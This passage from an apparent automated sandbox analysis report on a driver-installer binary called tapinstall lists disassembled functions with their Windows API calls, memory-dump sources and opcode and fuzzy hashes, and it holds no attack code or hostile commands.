                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: ProcessToken$AdjustCloseCurrentHandleInitiateLookupOpenPrivilegePrivilegesShutdownSystemValue
                                                                                                                  • String ID: SeShutdownPrivilege
                                                                                                                  • API String ID: 2036077386-3733053543
                                                                                                                  • Opcode ID: f561dac5e6c18281b4010f054e9054ffc8b813bd40337e654f72e59e3645770f
                                                                                                                  • Instruction ID: 45a0ecf15ac3d7f3ed5831ff0d998edcdc2d959e32ac04a48d51e2303bee77ac
                                                                                                                  • Opcode Fuzzy Hash: f561dac5e6c18281b4010f054e9054ffc8b813bd40337e654f72e59e3645770f
                                                                                                                  • Instruction Fuzzy Hash: 1A112472A18A4182F760DF51F415A5AB7A0FBC8744F805039EA9E47A98DF7CD448CB50
                                                                                                                  Function 00007FF7FEE19BC0 Relevance: 10.7, APIs: 7, Instructions: 246COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: memcpy_s
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 1502251526-0
                                                                                                                  • Opcode ID: 367b353356dc7549a3a05ae401a0d7ae4e6ca703a61e1e2289ec1d18ee3772f9
                                                                                                                  • Instruction ID: 8d7b6f1911f2956864506ad97d0346befdf4811bee161e7a88d7063b9c111aa2
                                                                                                                  • Opcode Fuzzy Hash: 367b353356dc7549a3a05ae401a0d7ae4e6ca703a61e1e2289ec1d18ee3772f9
                                                                                                                  • Instruction Fuzzy Hash: 96A1D172A082C28AE7799F55B440AFDB790F7A8788F809135DB9A47B94CB7DD980C740
                                                                                                                  Function 00007FF7FEE14960 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 234COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                    • Part of subcall function 00007FF7FEE075E8: GetLastError.KERNEL32(?,?,?,00007FF7FEE17232,?,?,?,?,?,?,?,?,?,?,?,00007FF7FEE1712B), ref: 00007FF7FEE075F7
                                                                                                                    • Part of subcall function 00007FF7FEE075E8: SetLastError.KERNEL32(?,?,?,00007FF7FEE17232,?,?,?,?,?,?,?,?,?,?,?,00007FF7FEE1712B), ref: 00007FF7FEE07695
                                                                                                                  • TranslateName.LIBCMT ref: 00007FF7FEE149CD
                                                                                                                  • TranslateName.LIBCMT ref: 00007FF7FEE14A08
                                                                                                                  • GetACP.KERNEL32(?,?,?,00000000,00000092,00007FF7FEE027F8), ref: 00007FF7FEE14A4D
                                                                                                                  • IsValidCodePage.KERNEL32(?,?,?,00000000,00000092,00007FF7FEE027F8), ref: 00007FF7FEE14A75
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: ErrorLastNameTranslate$CodePageValid
                                                                                                                  • String ID: utf8
                                                                                                                  • API String ID: 2136749100-905460609
                                                                                                                  • Opcode ID: d9b8ad3760af016a63c72bc9a843d741a47231133edd535d7ed3e9ae3113bd32
                                                                                                                  • Instruction ID: 6829b2c55f05993d100a70c45acf351da7dacf99c023e1057619b8ab47af88ff
                                                                                                                  • Opcode Fuzzy Hash: d9b8ad3760af016a63c72bc9a843d741a47231133edd535d7ed3e9ae3113bd32
                                                                                                                  • Instruction Fuzzy Hash: 8C916032A0864285F764BF11B4016BDB394EB84BA0F844171DA6E477C5EFBCE599C7A0
                                                                                                                  Function 00007FF7FEE15478 Relevance: 10.7, APIs: 7, Instructions: 171COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Locale$CodeErrorInfoLastPageValid$DefaultEnumLocalesProcessSystemUser
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 3939093798-0
                                                                                                                  • Opcode ID: 698639ebde3256074987202a2cc8b981a0ae2b2705bee52486481ff24fbfc6ce
                                                                                                                  • Instruction ID: 7a79511ba5ac1749ad8e7337be14afc5eccc29dd4b773dd30c0ddccd86b347cb
                                                                                                                  • Opcode Fuzzy Hash: 698639ebde3256074987202a2cc8b981a0ae2b2705bee52486481ff24fbfc6ce
                                                                                                                  • Instruction Fuzzy Hash: 83717162F046428AFB14AB61F4406FCA3A1BF84754F844475CA2E576E5DFBCE489C3A0
                                                                                                                  Function 00007FF7FEE06788 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 1239891234-0
                                                                                                                  • Opcode ID: 33f4d05915216eab4ab632b90a56ad91ab0ee05a89d810f3c8b53b4161930c69
                                                                                                                  • Instruction ID: 4fd3318742d1e9a7c980d876161b8a8727d0d5f6f0ff145803f6c38242054cf1
                                                                                                                  • Opcode Fuzzy Hash: 33f4d05915216eab4ab632b90a56ad91ab0ee05a89d810f3c8b53b4161930c69
                                                                                                                  • Instruction Fuzzy Hash: 3C316136A08B8186E760DF25F8402AEB3A4FBC8754F940139EAAE43B94DF78D1558B50
                                                                                                                  Function 00007FF7FEE0ECAC Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 119fileCOMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Find$File$CloseFirstNext
                                                                                                                  • String ID: .$.
                                                                                                                  • API String ID: 3541575487-3769392785
                                                                                                                  • Opcode ID: 147d8d088a2ab65af6ce8502f9dfb33cdb0b941aabc59c27737b474ffebd2bbe
                                                                                                                  • Instruction ID: 59e982221095a9932e9f2c05a6f8449eb7933b50ada3da72638cddfdd636f62b
                                                                                                                  • Opcode Fuzzy Hash: 147d8d088a2ab65af6ce8502f9dfb33cdb0b941aabc59c27737b474ffebd2bbe
                                                                                                                  • Instruction Fuzzy Hash: E841E762B1859144FF60AE61BC046BAE391EBC07E0F859131DFAF076D4EEBCD4858360
                                                                                                                  Function 00007FF7FEDD3630 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 98fileCOMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: DirectoryFileFindFirstWindows
                                                                                                                  • String ID: \INF\OEM*.INF
                                                                                                                  • API String ID: 1585389207-2728984289
                                                                                                                  • Opcode ID: 96e7f8943384205df238da4809613e295090238b8a99556eaef6c16c72f10844
                                                                                                                  • Instruction ID: c77491efb57097c77f987983f9f516d99b823641551cdc3c583c83dbe7ee6448
                                                                                                                  • Opcode Fuzzy Hash: 96e7f8943384205df238da4809613e295090238b8a99556eaef6c16c72f10844
                                                                                                                  • Instruction Fuzzy Hash: 6D417162B1868295FF70AB24E4543B9E2A0EFC5B60FD44135C66E43BD5DF6CE849C3A0
                                                                                                                  Function 00007FF7FEE166E8 Relevance: 7.8, APIs: 5, Instructions: 321fileCOMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: ErrorFileLastWrite$Console
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 786612050-0
                                                                                                                  • Opcode ID: d3beed3413ee1199dba947ae966059d4b9df67c161722cedc9c5d103b3af1309
                                                                                                                  • Instruction ID: 58148e1432c5e857dc7c79ce72cd1cfaf423a7bf2d9c5d6fc24ce7fb30fc278a
                                                                                                                  • Opcode Fuzzy Hash: d3beed3413ee1199dba947ae966059d4b9df67c161722cedc9c5d103b3af1309
                                                                                                                  • Instruction Fuzzy Hash: CED10272B08A828AF710DF64E4441ADB7B2FB857A8B944135CE5E47BC8DE7CD05AC390
                                                                                                                  Function 00007FF7FEE08B44 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: InfoLocaletry_get_function
                                                                                                                  • String ID: GetLocaleInfoEx
                                                                                                                  • API String ID: 2200034068-2904428671
                                                                                                                  • Opcode ID: 02750f415f3cd806410832db7a44b855064978a5e13e35f6515160912ac6add6
                                                                                                                  • Instruction ID: 552475b5a8b6220f38e0dd31cff42fc3bf8cc63fb0ca0c3d17a6ffe910298682
                                                                                                                  • Opcode Fuzzy Hash: 02750f415f3cd806410832db7a44b855064978a5e13e35f6515160912ac6add6
                                                                                                                  • Instruction Fuzzy Hash: 2301A225F08A4281F700AF15F8000A9F761AFD4BC0F944039EF6E03B95DE7CD5118794
                                                                                                                  Function 00007FF7FEE196F0 Relevance: 4.8, APIs: 3, Instructions: 317COMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: memcpy_s
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 1502251526-0
                                                                                                                  • Opcode ID: 8cea97ad10f18f43ea70dff6f68e6fc975f0f687338f3efd8ca2cf0a0ef5ac24
                                                                                                                  • Instruction ID: ae1e416cbf94714d6fc1d61c6b87c4a8968816d99d8a28df2dc1abf9603ee906
                                                                                                                  • Opcode Fuzzy Hash: 8cea97ad10f18f43ea70dff6f68e6fc975f0f687338f3efd8ca2cf0a0ef5ac24
                                                                                                                  • Instruction Fuzzy Hash: 7FC1C372B1828687E724DF19B084A6DB7A1F784798F848134DB5B47794DA7EE881CB80
                                                                                                                  Function 00007FF7FEE14ED0 Relevance: 4.7, APIs: 3, Instructions: 169COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                    • Part of subcall function 00007FF7FEE075E8: GetLastError.KERNEL32(?,?,?,00007FF7FEE17232,?,?,?,?,?,?,?,?,?,?,?,00007FF7FEE1712B), ref: 00007FF7FEE075F7
                                                                                                                    • Part of subcall function 00007FF7FEE075E8: SetLastError.KERNEL32(?,?,?,00007FF7FEE17232,?,?,?,?,?,?,?,?,?,?,?,00007FF7FEE1712B), ref: 00007FF7FEE07695
                                                                                                                  • GetLocaleInfoW.KERNEL32 ref: 00007FF7FEE14F3C
                                                                                                                    • Part of subcall function 00007FF7FEDE676C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FEDE6789
                                                                                                                  • GetLocaleInfoW.KERNEL32 ref: 00007FF7FEE14F85
                                                                                                                    • Part of subcall function 00007FF7FEDE676C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FEDE67E2
                                                                                                                  • GetLocaleInfoW.KERNEL32 ref: 00007FF7FEE15050
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: InfoLocale$ErrorLast_invalid_parameter_noinfo
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 3644580040-0
                                                                                                                  • Opcode ID: e8c6a04a7efb30580b1de6acdcde22ad9448435ad199d966b2e32c4fa01e2337
                                                                                                                  • Instruction ID: 30b4d9c6fe0ee787eebbfeb863a68552cac7fb3c2427678251c1d5ff1d3c3747
                                                                                                                  • Opcode Fuzzy Hash: e8c6a04a7efb30580b1de6acdcde22ad9448435ad199d966b2e32c4fa01e2337
                                                                                                                  • Instruction Fuzzy Hash: 8C618032A086428AF734AF51E54017DB3A1FBD4750F908139C7AF836E9DEBDE49587A0
                                                                                                                  Function 00007FF7FEE0BD18 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 248COMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: _invalid_parameter_noinfo
                                                                                                                  • String ID: gfffffff
                                                                                                                  • API String ID: 3215553584-1523873471
                                                                                                                  • Opcode ID: 9a7811f407a379061f5ff88b26a0f4d0f292d93459f7b1a2d23494d512ae23e6
                                                                                                                  • Instruction ID: 6c3793930459eb1c256c89278434d4218314ce1da5ece407b1353c8c3a59250b
                                                                                                                  • Opcode Fuzzy Hash: 9a7811f407a379061f5ff88b26a0f4d0f292d93459f7b1a2d23494d512ae23e6
                                                                                                                  • Instruction Fuzzy Hash: 94915462B096CA86FB11EF29A4003B9B794BB90B80F458032CB6F473D5DABDE506C751
                                                                                                                  Function 00007FF7FEE0C738 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 207COMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FEE0C769
                                                                                                                    • Part of subcall function 00007FF7FEE06A20: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF7FEE069CD), ref: 00007FF7FEE06A29
                                                                                                                    • Part of subcall function 00007FF7FEE06A20: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF7FEE069CD), ref: 00007FF7FEE06A4E
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CurrentFeaturePresentProcessProcessor_invalid_parameter_noinfo
                                                                                                                  • String ID: -
                                                                                                                  • API String ID: 4036615347-2547889144
                                                                                                                  • Opcode ID: 26c914aef9ac55f9fac2af390a0e01635bd93ea7664d4486faf8e589a2590b3f
                                                                                                                  • Instruction ID: 53d3124a0f6620e55b25b92d896322d1a5adcd37982015a3250561e2913487f1
                                                                                                                  • Opcode Fuzzy Hash: 26c914aef9ac55f9fac2af390a0e01635bd93ea7664d4486faf8e589a2590b3f
                                                                                                                  • Instruction Fuzzy Hash: E481D122A4878545F764EA25B40036AF691EFD57D0F844235DBAF43BD9DFBCE4008792
                                                                                                                  Function 00007FF7FEE08BC8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: try_get_function
                                                                                                                  • String ID: GetSystemTimePreciseAsFileTime
                                                                                                                  • API String ID: 2742660187-595813830
                                                                                                                  • Opcode ID: 1d0520b3f6df9746826bb7b6fcba1e6990199ef5daaa10c23599dce049dd0ac3
                                                                                                                  • Instruction ID: e717787922f7cdd3e0018ded5687f6b533a387019207aa3e46c49ceda25aa36c
                                                                                                                  • Opcode Fuzzy Hash: 1d0520b3f6df9746826bb7b6fcba1e6990199ef5daaa10c23599dce049dd0ac3
                                                                                                                  • Instruction Fuzzy Hash: 0BE04F52E1A80780FB55AFA1B8521B092509FCC744FC40436CA3E092D0DEBC6599C7A4
                                                                                                                  Function 00007FF7FEE222DC Relevance: 3.2, APIs: 2, Instructions: 232COMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: ExceptionRaise_clrfp
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 15204871-0
                                                                                                                  • Opcode ID: 042903b91b322029902fdb30016251db946a203c4db05d47f10b001f22a1f15d
                                                                                                                  • Instruction ID: 023e0df02b7a68351f44e21b1d1a123ac99d799ed8731952d827752d36fbc825
                                                                                                                  • Opcode Fuzzy Hash: 042903b91b322029902fdb30016251db946a203c4db05d47f10b001f22a1f15d
                                                                                                                  • Instruction Fuzzy Hash: 8DB17B73A00B858BEB19CF29D88236C77A0F7C8B48F54C925DA6E877A4CB79D851C750
                                                                                                                  Function 00007FF7FEE0D9C4 Relevance: 3.0, APIs: 2, Instructions: 49COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • IsDebuggerPresent.KERNEL32(?,?,?,00007FF7FEDFFA89), ref: 00007FF7FEE0D9E1
                                                                                                                  • OutputDebugStringW.KERNEL32(?,?,?,00007FF7FEDFFA89), ref: 00007FF7FEE0D9F9
                                                                                                                    • Part of subcall function 00007FF7FEE09448: try_get_function.LIBVCRUNTIME ref: 00007FF7FEE09468
                                                                                                                    • Part of subcall function 00007FF7FEE09448: try_get_function.LIBVCRUNTIME ref: 00007FF7FEE0949A
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: try_get_function$DebugDebuggerOutputPresentString
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 1427332961-0
                                                                                                                  • Opcode ID: bbf1120ab076d3046cef33f858b518514843c8a031e2da90c53b3bbdb1b0fe59
                                                                                                                  • Instruction ID: f4b74d378c026427bdf8affcc8af10c655025a6c046bc6f95bb8cb47c2a28cdc
                                                                                                                  • Opcode Fuzzy Hash: bbf1120ab076d3046cef33f858b518514843c8a031e2da90c53b3bbdb1b0fe59
                                                                                                                  • Instruction Fuzzy Hash: BB018E21A0C24242FB207E51744127DF160AFC4B90FD84431EB6F972D6CEADE44183B0
                                                                                                                  Function 00007FF7FEE11154 Relevance: 1.9, APIs: 1, Instructions: 439COMMON
